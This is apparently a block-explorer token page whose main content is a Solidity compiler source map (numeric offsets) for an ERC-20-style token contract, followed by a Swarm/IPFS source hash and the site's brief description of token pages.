14340:4092:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15475:83;;;;;;;;;;-1:-1:-1;15545:5:0;;;;;;;;;;;;-1:-1:-1;;;15545:5:0;;;;15475:83;;;;;;;:::i;:::-;;;;;;;;16617:161;;;;;;;;;;-1:-1:-1;16617:161:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;16617:161:0;1027:187:1;14427:41:0;;;;;;;;;;-1:-1:-1;14427:41:0;;;;-1:-1:-1;;;;;14427:41:0;;;;;;-1:-1:-1;;;;;1409:55:1;;;1391:74;;1379:2;1364:18;14427:41:0;1219:252:1;15752:95:0;;;;;;;;;;-1:-1:-1;15832:7:0;;15752:95;;;1622:25:1;;;1610:2;1595:18;15752:95:0;1476:177:1;16192:266:0;;;;;;;;;;-1:-1:-1;16192:266:0;;;;;:::i;:::-;;:::i;15661:83::-;;;;;;;;;;-1:-1:-1;15661:83:0;;14642:2;2133:36:1;;2121:2;2106:18;15661:83:0;1991:184:1;17598:215:0;;;;;;;;;;-1:-1:-1;17598:215:0;;;;;:::i;:::-;;:::i;14475:28::-;;;;;;;;;;-1:-1:-1;14475:28:0;;;;-1:-1:-1;;;;;14475:28:0;;;15855:117;;;;;;;;;;-1:-1:-1;15855:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;15948:16:0;15921:7;15948:16;;;:7;:16;;;;;;;15855:117;11832:148;;;;;;;;;;;;;:::i;:::-;;11189:79;;;;;;;;;;-1:-1:-1;11227:7:0;11254:6;-1:-1:-1;;;;;11254:6:0;11189:79;;15566:87;;;;;;;;;;-1:-1:-1;15638:7:0;;;;;;;;;;;;-1:-1:-1;;;15638:7:0;;;;15566:87;;17821:225;;;;;;;;;;-1:-1:-1;17821:225:0;;;;;:::i;:::-;;:::i;16017:167::-;;;;;;;;;;-1:-1:-1;16017:167:0;;;;;:::i;:::-;;:::i;16466:143::-;;;;;;;;;;-1:-1:-1;16466:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16574:18:0;;;16547:7;16574:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16466:143;12135:244;;;;;;;;;;-1:-1:-1;12135:244:0;;;;;:::i;:::-;;:::i;16617:161::-;16692:4;16709:39;10429:10;16732:7;16741:6;16709:8;:39::i;:::-;-1:-1:-1;16766:4:0;16617:161;;;;;:::o;16192:266::-;16290:4;16307:36;16317:6;16325:9;16336:6;16307:9;:36::i;:::-;-1:-1:-1;;;;;16385:19:0;;;;;;:11;:19;;;;;;;;10429:10;16385:33;;;;;;;;;16354:74;;16363:6;;16385:42;;16421:6;;16385:42;:::i;:::-;16354:8;:74::i;:::-;-1:-1:-1;16446:4:0;16192:266;;;;;:::o;17598:215::-;10429:10;17686:4;17735:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17735:34:0;;;;;;;;;;17686:4;;17703:80;;17726:7;;17735:47;;17772:10;;17735:47;:::i;11832:148::-;11401:6;;-1:-1:-1;;;;;11401:6:0;10429:10;11401:22;11393:67;;;;-1:-1:-1;;;11393:67:0;;3464:2:1;11393:67:0;;;3446:21:1;;;3483:18;;;3476:30;3542:34;3522:18;;;3515:62;3594:18;;11393:67:0;;;;;;;;;11939:1:::1;11923:6:::0;;11902:40:::1;::::0;-1:-1:-1;;;;;11923:6:0;;::::1;::::0;11902:40:::1;::::0;11939:1;;11902:40:::1;11970:1;11953:19:::0;;-1:-1:-1;;;;;;11953:19:0::1;::::0;;11832:148::o;17821:225::-;10429:10;17914:4;17963:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17963:34:0;;;;;;;;;;17914:4;;17931:85;;17954:7;;17963:52;;18000:15;;17963:52;:::i;16017:167::-;16095:4;16112:42;10429:10;16136:9;16147:6;16112:9;:42::i;12135:244::-;11401:6;;-1:-1:-1;;;;;11401:6:0;10429:10;11401:22;11393:67;;;;-1:-1:-1;;;11393:67:0;;3464:2:1;11393:67:0;;;3446:21:1;;;3483:18;;;3476:30;3542:34;3522:18;;;3515:62;3594:18;;11393:67:0;3262:356:1;11393:67:0;-1:-1:-1;;;;;12224:22:0;::::1;12216:73;;;::::0;-1:-1:-1;;;12216:73:0;;3825:2:1;12216:73:0::1;::::0;::::1;3807:21:1::0;3864:2;3844:18;;;3837:30;3903:34;3883:18;;;3876:62;-1:-1:-1;;;3954:18:1;;;3947:36;4000:19;;12216:73:0::1;3623:402:1::0;12216:73:0::1;12326:6;::::0;;12305:38:::1;::::0;-1:-1:-1;;;;;12305:38:0;;::::1;::::0;12326:6;::::1;::::0;12305:38:::1;::::0;::::1;12354:6;:17:::0;;-1:-1:-1;;;;;;12354:17:0::1;-1:-1:-1::0;;;;;12354:17:0;;;::::1;::::0;;;::::1;::::0;;12135:244::o;16790:337::-;-1:-1:-1;;;;;16883:19:0;;16875:68;;;;-1:-1:-1;;;16875:68:0;;4232:2:1;16875:68:0;;;4214:21:1;4271:2;4251:18;;;4244:30;4310:34;4290:18;;;4283:62;-1:-1:-1;;;4361:18:1;;;4354:34;4405:19;;16875:68:0;4030:400:1;16875:68:0;-1:-1:-1;;;;;16962:21:0;;16954:68;;;;-1:-1:-1;;;16954:68:0;;4637:2:1;16954:68:0;;;4619:21:1;4676:2;4656:18;;;4649:30;4715:34;4695:18;;;4688:62;-1:-1:-1;;;4766:18:1;;;4759:32;4808:19;;16954:68:0;4435:398:1;16954:68:0;-1:-1:-1;;;;;17035:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17087:32;;1622:25:1;;;17087:32:0;;1595:18:1;17087:32:0;;;;;;;;16790:337;;;:::o;18054:375::-;-1:-1:-1;;;;;18139:27:0;;;;;;:21;:27;;;;;;;;18134:110;;18183:28;18194:4;18200:2;18204:6;18183:10;:28::i;:::-;18054:375;;;:::o;18134:110::-;18280:49;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18280:13:0;;-1:-1:-1;18280:13:0;;;:7;:13;;;;;13504:5;;;18280:49;-1:-1:-1;;;;;18264:13:0;;;;;;;:7;:13;;;;;;:65;;;;18354:11;;;;;;;:23;;18370:6;18354:15;:23::i;:::-;-1:-1:-1;;;;;18340:11:0;;;;;;;:7;:11;;;;;;;:37;;;;18395:26;;;;;;;;;;18414:6;1622:25:1;;1610:2;1595:18;;1476:177;17135:455:0;-1:-1:-1;;;;;17228:18:0;;17220:68;;;;-1:-1:-1;;;17220:68:0;;5040:2:1;17220:68:0;;;5022:21:1;5079:2;5059:18;;;5052:30;5118:34;5098:18;;;5091:62;-1:-1:-1;;;5169:18:1;;;5162:35;5214:19;;17220:68:0;4838:401:1;17220:68:0;-1:-1:-1;;;;;17307:16:0;;17299:64;;;;-1:-1:-1;;;17299:64:0;;5446:2:1;17299:64:0;;;5428:21:1;5485:2;5465:18;;;5458:30;5524:34;5504:18;;;5497:62;-1:-1:-1;;;5575:18:1;;;5568:33;5618:19;;17299:64:0;5244:399:1;17299:64:0;17391:1;17382:6;:10;17374:64;;;;-1:-1:-1;;;17374:64:0;;5850:2:1;17374:64:0;;;5832:21:1;5889:2;5869:18;;;5862:30;5928:34;5908:18;;;5901:62;-1:-1:-1;;;5979:18:1;;;5972:39;6028:19;;17374:64:0;5648:405:1;17374:64:0;-1:-1:-1;;;;;17467:13:0;;;;;;:7;:13;;;;;;:25;;17485:6;17467:17;:25::i;12410:225::-;12468:7;12525:5;;;12553:6;;;;12545:46;;;;-1:-1:-1;;;12545:46:0;;6260:2:1;12545:46:0;;;6242:21:1;6299:2;6279:18;;;6272:30;6338:29;6318:18;;;6311:57;6385:18;;12545:46:0;6058:351:1;12545:46:0;12615:1;12410:225;-1:-1:-1;;;12410:225:0:o;12643:147::-;12701:7;12734:1;12729;:6;;12721:38;;;;-1:-1:-1;;;12721:38:0;;6616:2:1;12721:38:0;;;6598:21:1;6655:2;6635:18;;;6628:30;-1:-1:-1;;;6674:18:1;;;6667:49;6733:18;;12721:38:0;6414:343:1;12721:38:0;12777:5;12781:1;12777;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1658:328::-;1735:6;1743;1751;1804:2;1792:9;1783:7;1779:23;1775:32;1772:52;;;1820:1;1817;1810:12;1772:52;1843:29;1862:9;1843:29;:::i;:::-;1833:39;;1891:38;1925:2;1914:9;1910:18;1891:38;:::i;:::-;1881:48;;1976:2;1965:9;1961:18;1948:32;1938:42;;1658:328;;;;;:::o;2411:186::-;2470:6;2523:2;2511:9;2502:7;2498:23;2494:32;2491:52;;;2539:1;2536;2529:12;2491:52;2562:29;2581:9;2562:29;:::i;2602:260::-;2670:6;2678;2731:2;2719:9;2710:7;2706:23;2702:32;2699:52;;;2747:1;2744;2737:12;2699:52;2770:29;2789:9;2770:29;:::i;:::-;2760:39;;2818:38;2852:2;2841:9;2837:18;2818:38;:::i;:::-;2808:48;;2602:260;;;;;:::o;2867:127::-;2928:10;2923:3;2919:20;2916:1;2909:31;2959:4;2956:1;2949:15;2983:4;2980:1;2973:15;2999:128;3066:9;;;3087:11;;;3084:37;;;3101:18;;:::i;3132:125::-;3197:9;;;3218:10;;;3215:36;;;3231:18;;:::i
Swarm Source
ipfs://70907a1f76cc66e909738b7c0e64b1b66713fb228e1639b60f7e174ee226052b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.